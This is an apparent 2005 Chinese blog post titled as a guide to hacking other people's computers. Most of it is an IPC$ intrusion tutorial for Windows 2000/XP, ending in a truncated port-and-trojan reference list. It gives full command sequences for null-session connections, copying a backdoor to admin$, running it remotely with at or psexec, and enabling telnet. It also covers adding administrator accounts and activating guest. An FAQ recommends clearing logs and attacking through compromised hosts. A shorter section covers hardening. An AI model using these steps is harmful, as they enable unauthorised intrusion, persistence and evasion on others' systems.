1 )錯誤的認為能建立 ipc$ 連接的主機就一定開啟了默認共享,因而在建立完連接之後馬上向 c$,d$,admin$ 之類的默認共享複製文件,一旦對方未開啟默認共享,將導致複製失敗。 ipc$ 連接成功只能說明對方打開了 ipc$ 共享,並不能說明默認共享一定存在。 ipc$ 共享與默認共享是 兩碼 事, ipc$ 共享是一個命名管道,並不是哪個實際的文件夾,而默認共享卻是實實在在的共享文件夾;
2 )由於 net view \\IP 這個命令無法顯示默認共享文件夾(因為默認共享帶 $ ),因此通過這個命令,我們並不能判斷對方是否開啟了默認共享,因此如果對方未開啟默認共享,那麼所有向默認共享進行的操作都不能成功;(不過大部分掃瞄軟件在掃弱口令的同時,都能掃到默認共享目錄,可以避免此類錯誤的發生)
要點:請大家一定區分 ipc 共享,默認共享,普通共享這三者的區別: ipc 共享是一個管道,並不是實際的共享文件夾;默認共享是安裝時默認打開的文件夾;普通共享是我們自己開啟的可以設置權限的共享文件夾。
3 用戶權限不夠,包括四種情形:
1 )空連接向所有共享(默認共享和普通共享)複製時,權限是不夠的;
2 )向默認共享複製時,在 Win2000 Pro 版中,只有 Administrators 和 Backup Operators 組成員才可以,在 Win2000 Server 版本 Server Operatros 組也可以訪問到這些共享目錄;
3 )向普通共享複製時,要具有相應權限(即對方管理員事先設定的訪問權限);
4 )對方可以通過防火牆或安全軟件的設置,禁止外部訪問共享;
注意:
1 不要認為 administrator 就一定具有管理員權限,管理員名稱是可以改的
2 管理員可以訪問默認共享的文件夾,但不一定能夠訪問普通的共享文件夾,因為管理員可以對普通的共享文件夾進行訪問權限設置,如圖 6 ,管理員為 D 盤設置的訪問權限為僅允許名為 xinxin 的用戶對該文件夾進行完全訪問,那麼此時即使你擁有管理員權限,你仍然不能訪問 D 盤。不過有意思的是,如果此時對方又開啟了 D$ 的默認共享,那麼你卻可以訪問 D$ ,從而繞過了權限限制,有興趣的朋友可以自己做測試。
4 被防火牆殺死或在局域網
還有一種情況,那就是也許你的複製操作已經成功,但當遠程運行時,被防火牆殺掉了,導致找不到文件;或者你把木馬複製到了局域網內的主機,導致連接失敗(反向連接的木馬不會發生這種情況)。如果你沒有想到這種情況,你會以為是複製上出了問題,但實際你的複製操作已經成功了,只是運行時出了問題。
呵呵,大家也知道, ipc$ 連接在實際操作過程中會出現各種各樣的問題,上面我所總結的只是一些常見錯誤,沒說到的,大家可以給我提個醒兒。
九 關於 at 命令和 xp 對 ipc$ 的限制
本來還想說一下用 at 遠程運行程序失敗的原因,但考慮到 at 的成功率不是很高,問題也很多,在這裡就不提它了(提的越多,用的人就越多),而是推薦大家用 psexec.exe 遠程運行程序,假設想要遠程機器執行本地 c:\xinxin.exe 文件,且管理員為 administrator ,密碼為 1234 ,那麼輸入下面的命令:
psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe
如果已經建立 ipc 連接,則 -u -p 這兩個參數不需要, psexec.exe 將自動拷貝文件到遠程機器並運行。
本來 xp 中的 ipc$ 也不想在這裡討論,想單獨拿出來討論,但看到越來越多的朋友很急切的提問為什麼遇到 xp 的時候,大部分操作都很難成功。我在這裡就簡單提一下吧,在 xp 的默認安全選項中,任何遠程訪問僅被賦予來賓權限,也就是說即使你是用管理員帳戶和密碼,你所得到的權限也只是 Guest ,因此大部分操作都會因為權限不夠而失敗,而且到目前為止並沒有一個好的辦法來突破這一限制。所以如果你真的得到了 xp 的管理員密碼,我建議你盡量避開 ipc 管道。
十 如何打開目標的 IPC$ 共享以及其他共享
目標的 ipc$ 不是輕易就能打開的,否則就要天下打亂了。你需要一個 admin 權限的 shell ,比如 telnet ,木馬, cmd 重定向等,然後在 shell 下執行:
net share ipc$
開放目標的 ipc$ 共享;
net share ipc$ /del
關閉目標的 ipc$ 共享;如果你要給它開共享文件夾,你可以用:
net share xinxin=c:\
這樣就把它的 c 盤開為共享名為 xinxin 共享文件夾了。(可是我發現很多人錯誤的認為開共享文件夾的命令是 net share c$ ,還大模大樣的給菜鳥指指點點,真是誤人子弟了)。再次聲明,這些操作都是在 shell 下才能實現的。
十一 一些需要 shell 才能完成的命令
看到很多教程這方面寫的十分不準確,一些需要 shell 才能完成命令就簡簡單單的在 ipc$ 連接下執行了,起了誤導作用。那麼下面我總結一下需要在 shell 才能完成的命令:
1 向遠程主機建立用戶,激活用戶,修改用戶密碼,加入管理組的操作需要在 shell 下完成;
2 打開遠程主機的 ipc$ 共享,默認共享,普通共享的操作需要在 shell 下完成;
3 運行 / 關閉遠程主機的服務,需要在 shell 下完成;
4 啟動 / 殺掉遠程主機的進程,也需要在 shell 下完成(用軟件的情況下除外,如 pskill )。
十二 入侵中可能會用到的命令
為了這份教程的完整性,我列出了 ipc$ 入侵中的一些常用命令,如果你已經掌握了這些命令,你可以跳過這一部分看下面的內容。請注意這些命令是適用於本地還是遠程,如果只適用於本地,你只能在獲得遠程主機的 shell (如 cmd , telnet 等)後,才能向遠程主機執行。
1 建立 / 刪除 ipc$ 連接的命令
1 )建立空連接 :
net use \\127.0.0.1\ipc$ "" /user:""
2 )建立非空連接 :
net use \\127.0.0.1\ipc$ " 密碼 " /user:" 用戶名 "
3 )刪除連接 :
net use \\127.0.0.1\ipc$ /del
2 在 ipc$ 連接中對遠程主機的操作命令
1 ) 查看遠程主機的共享資源(看不到默認共享) :
net view \\127.0.0.1
2 ) 查看遠程主機的當前時間 :
net time \\127.0.0.1
3 ) 得到遠程主機的 netbios 用戶名列表 :
nbtstat -A 127.0.0.1
4 )映射 / 刪除遠程共享 :
net use z: \\127.0.0.1\c
此命令將共享名為 c 的共享資源映射為本地 z 盤
net use z: /del
刪除映射的 z 盤,其他盤類推
5 )向遠程主機複製文件 :
copy 路徑 \ 文件名 \\IP\ 共享目錄名,如:
copy c:\xinxin.exe \\127.0.0.1\c$ 即將 c 盤下的 xinxin.exe 複製到對方 c 盤內
當然,你也可以把遠程主機上的文件複製到自己的機器裡:
copy \\127.0.0.1\c$\xinxin.exe c:\
6 )遠程添加計劃任務 :
at \\IP 時間 程序名 如:
at \\127.0.0.0 11:00 xinxin.exe
注意:時間盡量使用 24 小時制;如果你打算運行的程序在系統默認搜索路徑(比如 system32/ )下則不用加路徑,否則必須加全路徑
3 本地命令
1 )查看本地主機的共享資源(可以看到本地的默認共享)
net share
2 )得到本地主機的用戶列表
net user
3 )顯示本地某用戶的帳戶信息
net user 帳戶名
4 )顯示本地主機當前啟動的服務
net start
5 )啟動 / 關閉本地服務
net start 服務名
net stop 服務名
6 )在本地添加帳戶
net user 帳戶名 密碼 /add
7 )激活禁用的用戶
net uesr 帳戶名 /active:yes
8 )加入管理員組
net localgroup administrators 帳戶名 /add
很顯然的是,雖然這些都是本地命令,但如果你在遠程主機的 shell 中輸入,比如你 telnet 成功後輸入上面這些命令,那麼這些本地輸入將作用在遠程主機上。
4 其他一些命令
1 ) telnet
telnet IP 端口
telnet 127.0.0.0 23
2 )用 opentelnet.exe 開啟遠程主機的 telnet
OpenTelnet.exe \\ip 管理員帳號 密碼 NTLM 的認證方式 port
OpenTelnet.exe \\127.0.0.1 administrator "" 1 90
不過這個小工具需要滿足四個要求:
1 )目標開啟了 ipc$ 共享
2 )你要擁有管理員密碼和帳號
3 )目標開啟 RemoteRegistry 服務,用戶就可以更改 ntlm 認證
4 )對僅 WIN2K/XP 有效
3 )用 psexec.exe 一步獲得 shell ,需要 ipc 管道支持
psexec.exe \\IP -u 管理員帳號 -p 密碼 cmd
psexec.exe \\127.0.0.1 -u administrator -p "" cmd
十三 對比過去和現今的 ipc$ 入侵
既然是對比,那麼我就先把過去的 ipc$ 入侵步驟寫給大家,都是蠻經典的步驟:
[1]
C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators
\\ 用掃到的空口令建立連接
[2]
c:\>net view \\127.0.0.1
\\ 查看遠程的共享資源
[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32
\\ 將一次性後門 srv.exe 複製到對方的系統文件夾下,前提是 admin$ 開啟
[4]
C:\>net time \\127.0.0.1
\\ 查看遠程主機的當前時間
[5]
C:\>at \\127.0.0.1 時間 srv.exe
\\ 用 at 命令遠程運行 srv.exe ,需要對方開啟了 'Task Scheduler' 服務
[6]
C:\>net time \\127.0.0.1
\\ 再次查看當前時間來估算 srv.exe 是否已經運行,此步可以省略
[7]
C:\>telnet 127.0.0.1 99
\\ 開一個新窗口,用 telnet 遠程登陸到 127.0.0.1 從而獲得一個 shell( 不懂 shell 是什麼意思?那你就把它想像成遠程機器的控制權就好了,操作像 DOS) , 99 端口是 srv.exe 開的一次性後門的端口
[8]
C:\WINNT\system32>net start telnet
\\ 我們在剛剛登陸上的 shell 中啟動遠程機器的 telnet 服務,畢竟 srv.exe 是一次性的後門,我們需要一個長久的後門便於以後訪問,如果對方的 telnet 已經啟動,此步可省略
[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\ 在原來那個窗口中將 ntlm.exe 傳過去, ntlm.exe 是用來更改 telnet 身份驗證的
[10]
C:\WINNT\system32>ntlm.exe
\\ 在 shell 窗口中運行 ntlm.exe ,以後你就可以暢通無阻的 telnet 這台主機了
[11]
C:\>telnet 127.0.0.1 23
\\ 在新窗口中 telnet 到 127.0.0.1 ,端口 23 可省略,這樣我們又獲得一個長期的後門
[12]
C:\WINNT\system32>net user 帳戶名 密碼 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 帳戶名 /add
\\telnet 上以後,你可以建立新帳戶,激活 guest ,把任何帳戶加入管理員組等
好了,寫到這裡我似乎回到了 2 , 3 年前,那時的 ipc$ 大家都是這麼用的,不過隨著新工具的出現,上面提到的一些工具和命令現在已經不常用到了,那就讓我們看看現在的高效而簡單的 ipc$ 入侵吧。
[1]
psexec.exe \\IP -u 管理員帳號 -p 密碼 cmd
\\ 用這個工具我們可以一步到位的獲得 shell
OpenTelnet.exe \\server 管理員帳號 密碼 NTLM 的認證方式 port
\\ 用它可以方便的更改 telnet 的驗證方式和端口,方便我們登陸
[2]
已經沒有第二步了,用一步獲得 shell 之後,你做什麼都可以了,安後門可以用 winshell ,克隆就用 ca 吧,開終端用 3389.vbe ,記錄密碼用 win2kpass ,總之好的工具不少,隨你選了,我就不多說了。
十四 如何防範 ipc$ 入侵
1 禁止空連接進行枚舉 ( 此操作並不能阻止空連接的建立 )
運行 regedit ,找到如下主鍵 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 把 RestrictAnonymous = DWORD 的鍵值改為: 1
如果設置為 "1" ,一個匿名用戶仍然可以連接到 IPC$ 共享,但無法通過這種連接得到列舉 SAM 帳號和共享信息的權限;在 Windows 2000 中增加了 "2" ,未取得匿名權的用戶將不能進行 ipc$ 空連接。建議設置為 1 。如果上面所說的主鍵不存在,就新建一個再改鍵值。如果你覺得改註冊表麻煩,可以在本地安全設置中設置此項: 在本地安全設置-本地策略-安全選項- ' 對匿名連接的額外限制 '
2 禁止默認共享
1 )察看本地共享資源
運行 -cmd- 輸入 net share
2 )刪除共享(重起後默認共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete (如果有 e,f, ……可以繼續刪除)
3 )停止 server 服務
net stop server /y (重新啟動後 server 服務會重新開啟)
4 )禁止自動打開默認共享(此操作並不能關閉 ipc$ 共享)
運行 -regedit
server 版 : 找到如下主鍵 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] 把 AutoShareServer ( DWORD )的鍵值改為 :00000000 。
pro 版 : 找到如下主鍵 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] 把 AutoShareWks ( DWORD )的鍵值改為 :00000000 。
這兩個鍵值在默認情況下在主機上是不存在的,需要自己手動添加,修改後重起機器使設置生效。
3 關閉 ipc$ 和默認共享依賴的服務 :server 服務
如果你真的想關閉 ipc$ 共享,那就禁止 server 服務吧:
控制面板 - 管理工具 - 服務 - 找到 server 服務(右擊) - 屬性 - 常規 - 啟動類型 - 選已禁用,這時可能會有提示說: XXX 服務也會關閉是否繼續,因為還有些次要的服務要依賴於 server 服務,不要管它。
4 屏蔽 139 , 445 端口
由於沒有以上兩個端口的支持,是無法建立 ipc$ 的,因此屏蔽 139 , 445 端口同樣可以阻止 ipc$ 入侵。
1 ) 139 端口可以通過禁止 NBT 來屏蔽
本地連接- TCP/IT 屬性-高級- WINS -選『禁用 TCP/IT 上的 NETBIOS '一項
2 ) 445 端口可以通過修改註冊表來屏蔽
添加一個鍵值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
value: 0
修改完後重啟機器
注意:如果屏蔽掉了以上兩個端口,你將無法用 ipc$ 入侵別人。
3 )安裝防火牆進行端口過濾
6 設置複雜密碼,防止通過 ipc$ 窮舉出密碼,我覺得這才是最好的辦法,增強安全意識,比不停的打補丁要安全的多。
十五 ipc$ 入侵問答精選
上面說了一大堆的理論東西,但在實際中你會遇到各種各樣的問題,因此為了給予大家最大的幫助,我整理了各大安全論壇中一些有代表性的問答,其中的一些答案是我給出的,一些是論壇上的回復,如果有什麼疑問,可以來找我討論。
1. 進行 ipc$ 入侵的時候,會在服務器中留下記錄,有什麼辦法可以不讓服務器發現嗎?
答:留下記錄是一定的,你走後用清除日誌程序刪除就可以了,或者用肉雞入侵。
2. 你看下面的情況是為什麼,可以連接但不能複製
net use \\***.***.***.***\ipc$ " 密碼 " /user:" 用戶名 "
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到網絡路徑
命令不成功
答:像「找不到網絡路徑」「找不到網絡名」之類的問題,大多是因為你想要複製到的共享文件夾沒有開啟,所以在複製的時候會出現錯誤,你可以試著找找其他的共享文件夾。
3. 如果對方開了 IPC$ ,且能建立空聯接,但打開 C 、 D 盤時,都要求密碼,我知道是空連接沒有太多的權限,但沒別的辦法了嗎?
答:建議先用流光或者別的什麼掃瞄軟件試著猜解一下密碼,如果猜不出來,只能放棄,畢竟空連接的能力有限。
4. 我已經猜解到了管理員的密碼,且已經 ipc$ 連接成功了,但 net view \\ip 發現它沒開默認共享,我該怎麼辦?
答:首先糾正你的一個錯誤,用 net view \\ip 是無法看到默認共享的,你可以試著將文件複製到 c$ , d$ 看看,如果都不行,說明他關閉了默認共享,那你就用 opentelnet.exe 或 psexec.exe 吧,用法上面有。
5.ipc$ 連接成功後,我用下面的命令建立了一個帳戶,卻發現這個帳戶在我自己的機器上,這是怎麼回事?
net uset ccbirds /add
答: ipc$ 建立成功只能說明你與遠程主機建立了通信隧道,並不意味你取得了一個 shell ,只有在獲得一個 shell (比如 telnet )之後,你才能在遠程機器建立一個帳戶,否則你的操作只是在本地進行。
6. 我已進入了一台肉機,用的管理員帳號,可以看他的系統時間,但是複製程序到他的機子上卻不行,每次都提示「拒絕訪問,已複製 0 個文件」,是不是對方有什麼服務沒開,我該怎麼辦?
答:一般來說「拒絕訪問」都是權限不夠的結果,可能是你用的帳戶有問題,還有一種可能,如果你想向普通共享文件夾複製文件卻返回這個錯誤,說明這個文件夾設置的允許訪問用戶中不包括你(哪怕你是管理員),這一點我在上一期文章中分析了。
7. 我用 Win98 能與對方建立 ipc$ 連接嗎?
答:理論上不可以,要進行 ipc$ 的操作,建議用 win2000 ,用其他操作系統會帶來許多不必要的麻煩。
8. 我用 net use \\ip\ipc$ "" /user "" 成功的建立了一個空會話,但用 nbtstat -A IP 卻無法導出用戶列表,這是為什麼?
答:空會話在默認的情況下是可以導出用戶列表的,但如果管理員通過修改註冊表來禁止導出列表,就會出現你所說的情況;還有可能是你自己的 NBT 沒有打開, netstat 命令是建立在 NBT 之上的。
9. 我建立 ipc$ 連接的時候返回如下信息:『提供的憑據與已存在的憑據集衝突',怎麼回事?
答:呵呵,這說明你已經與目標主機建立了 ipc$ 連接,兩個主機間同時建立兩個 ipc$ 連接是不允許的。
10. 我在映射的時候出現:
F:\>net use h: \\211.161.134.*\e$
系統發生 85 錯誤。
本地設備名已在使用中。這是怎麼回事?
答:你也太粗心了吧,這說明你有一個 h 盤了,映射到沒有的盤符吧!
11. 我建立了一個連接 f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但當我映射時出現了錯誤,向我要密碼,怎麼回事?
F:\>net use h: \\*.*.*.*\c$
密碼在 \\*.*.*.*\c$ 無效。
請鍵入 \\*.*.*.*\c$ 的密碼 :
系統發生 5 錯誤。
拒絕訪問。
答:呵呵,向你要密碼說明你當前使用的用戶權限不夠,不能映射 C$ 這個默認共享,想辦法提升權限或者找管理員的弱口令吧!默認共享一般是需要管理員權限的。
12. 我用 superscan 掃到了一個開了 139 端口的主機,但為什麼不能空連接呢?
答:你混淆了 ipc$ 與 139 的關係,能進行 ipc$ 連接的主機一定開了 139 或 445 端口,但開這兩個端口的主機可不一定能空連接,因為對方可以關閉 ipc$ 共享 .
13. 我門局域網裡的機器大多都是 xp ,我用流光掃瞄到幾個 administrator 帳號口令是空,而且可以連接,但不能複製東西,說錯誤 5 。請問為什麼?
答: xp 的安全性要高一些,在安全策略的默認設置中,對本地帳戶的網絡登錄進行身份驗證的時候,默認為來賓權限,即使你用管理員遠程登錄,也只具有來賓權限,因此你複製文件,當然是錯誤 5 :權限不夠。
14. 我用 net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c
出現請鍵入 \\192.168.0.2 的密碼,怎麼回事情呢?我用的可是管理員呀?應該什麼都可以訪問呀?
答:雖然你具有管理員權限,但管理員在設置 c 盤共享權限時(注意:普通共享可以設置訪問權限,而默認共享則不能)可能並未設置允許 administrator 訪問,所以會出現上述問題。
15. 如果自己的機器禁止了 ipc$, 是不是還可以用 ipc$ 連接別的機器?如果禁止 server 服務呢?
答:禁止以上兩項仍可以發起 ipc$ 連接,不過這種問題自己動手試驗會更好。
16. 能告訴我下面的兩個錯誤產生的原因嗎?
c:\>net time \\61.225.*.*
系統發生 5 錯誤。
拒絕訪問。
c:\>net view \\61.225.*.*
系統發生 5 錯誤。
拒絕訪問。
答:起初遇到這個問題的時候我也很納悶,錯誤 5 表示權限不夠,可是連空會話的權限都可以完成上面的兩個命令,他為什麼不行呢?難道是他沒建立連接?後來那個粗心的同志告訴我的確是這樣,他忘記了自己已經刪了 ipc$ 連接,之後他又輸入了上面那兩個命令,隨之發生了錯誤 5 。
17. 您看看這是怎麼回事?
F:\>net time
找不到時間服務器。
請鍵入 NET HELPMSG 3912 以獲得更多的幫助。
答:答案很簡單,你的命令錯了,應該是 net time \\ip
沒輸入 ip 地址,當然找不到服務器。 view 的命令也應該有 ip 地址,即: net view \\ip
最後還要說一點,許多朋友提問題總是簡單了事,也不描述一下具體情況就喊救命,起碼應該把錯誤的命令拿出來,這樣好讓別人給你分析,否則你只說「我不能複製文件」,天曉得你是怎麼回事,要知道別人給你回答問題也需要花時間的,把時間浪費在這種問題上,誰會覺得值得?而你卻還在喊「怎麼沒人理我呀」。
十六 結束的話
可以坦白的說這篇文章的技術含量不高,我的側重點在解惑,更希望大家能有一種理智的刨根問題的精神,我在論壇上總會看到一些人,他們回答別人的問題也很不負責任,一遇到稍有難度或自己不會的問題就告訴人家是因為有防火牆或是權限不夠,從來都不願意去認真的把問題分析一下,我覺得這種風氣是要不得的:)最後,希望我的文章能對大家有所幫助,祝大家旅途愉快。
那XP沒辦法入侵了嗎?
13. 我門局域網裡的機器大多都是 xp ,我用流光掃瞄到幾個 administrator 帳號口令是空,而且可以連接,但不能複製東西,說錯誤 5 。
答: xp 的安全性要高一些,在安全策略的默認設置中,對本地帳戶的網絡登錄進行身份驗證的時候,默認為來賓權限,即使你用管理員遠程登錄,也只具有來賓權限,因此你複製文件,當然是錯誤 5 :權限不夠
------------
入侵端口查詢
請享用這道菜餚:入侵電腦端口查詢
端口:0
服務:Reserved
說明:通常用於分析操作系統。
這一方法能夠工作是因為在一些系統中“0”是無效端口,
當你試圖使用通常的閉合端口連接它時將產生不同的結果。
一種典型的掃描,使用IP地址為0.0.0.0,設置ACK位並在以太網層廣播。
端口:1
服務:tcpmux
說明:這顯示有人在尋找SGI Irix機器。
Irix是實現tcpmux的主要提供者,默認情況下tcpmux在這種系統中被打開。
Irix機器在發布是含有幾個默認的無密碼的帳戶,
如:IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。
許多管理員在安裝后忘記刪除這些帳戶。
因此HACKER在INTERNET上搜索tcpmux並利用這些帳戶。
端口:7
服務:Echo
說明:能看到許多人搜索Fraggle放大器時,發送到X.X.X.0和X.X.X.255的信息。
端口:19
服務:Character Generator
說明:這是一種僅僅發送字符的服務。
UDP版本將會在收到UDP包后回應含有垃圾字符的包。
TCP連接時會發送含有垃圾字符的數據流直到連接關閉。
HACKER利用IP欺騙可以發動DoS攻擊。
偽造兩個chargen服務器之間的UDP包。
同樣Fraggle DoS攻擊向目標地址的這個端口廣播一個帶有偽造受害者IP的數據包,
受害者為了回應這些數據而過載。
端口:21
服務:FTP
說明:FTP服務器所開放的端口,用于上傳、下載。
最常見的攻擊者用于尋找打開anonymous的FTP服務器的方法。
這些服務器帶有可讀寫的目錄。
木馬Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所開放的端口。
端口:22
服務:Ssh
說明:PcAnywhere建立的TCP和這一端口的連接可能是為了尋找ssh。
這一服務有許多弱點,如果配置成特定的模式,
許多使用RSAREF庫的版本就會有不少的漏洞存在。
端口:23
服務:Telnet
說明:遠程登錄,入侵者在搜索遠程登錄UNIX的服務。
大多數情況下掃描這一端口是為了找到機器運行的操作系統。
還有使用其他技術,入侵者也會找到密碼。
木馬Tiny Telnet Server就開放這個端口。
端口:25
服務:SMTP
說明:SMTP服務器所開放的端口,用于發送郵件。
入侵者尋找SMTP服務器是為了傳遞他們的SPAM。
入侵者的帳戶被關閉,他們需要連接到高帶寬的E-MAIL服務器上,
將簡單的信息傳遞到不同的地址。
木馬Antigen、Email Password Sender、Haebu Coceda、
Shtrilitz Stealth、WinPC、WinSpy都開放這個端口。
端口:31
服務:MSG Authentication
說明:木馬Master Paradise、Hackers Paradise開放此端口。
端口:42
服務:WINS Replication
說明:WINS複制
端口:53
服務:Domain Name Server(DNS)
說明:DNS服務器所開放的端口,
入侵者可能是試圖進行區域傳遞(TCP),
欺騙DNS(UDP)或隱藏其他的通信。
因此防火牆常常過濾或記錄此端口。
端口:67
服務:Bootstrap Protocol Server
- Nov 17 Thu 2005 15:09
入侵別人的電腦
close
全站熱搜
留言列表
發表留言